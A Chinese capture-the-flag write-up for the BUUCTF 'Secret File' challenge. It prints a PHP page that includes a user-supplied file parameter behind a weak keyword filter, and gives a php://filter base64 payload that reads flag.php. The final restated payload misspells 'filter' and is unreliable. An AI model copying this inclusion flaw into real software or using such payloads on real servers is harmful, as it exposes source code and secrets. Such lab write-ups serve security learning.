BUUCTF[极客大挑战2019]Secret File

查看源码:

出现了两个跳转。

Archive_room.php

end.php

输入flag.php

没有,我们分别抓包看看。

出现了新得页面,secr3t.php

访问发现:

哦?代码审计吗

<?php
    highlight_file(__FILE__);
    // highlight_file() 函数对文件进行语法高亮显示。    
    error_reporting(0);
    // 关闭错误报告
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    //过滤字符: ../ tp input data 则输出 Oh no!
        echo "Oh no!";
        exit();
    }
    include($file); 
    //文件包含
//flag放在了flag.php里
?>

没有过滤php file 伪协议,我们试试payload:

http://617cc1f4-3c61-43bf-9171-fa54118f3fa7.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解密得:

和之前得文件包含题型一样,只不过这回存在过滤字符。

payload: ?file=php://flter/read=convert.base64-encode/resource=flag.php

ok!

 


 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

carefree798

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值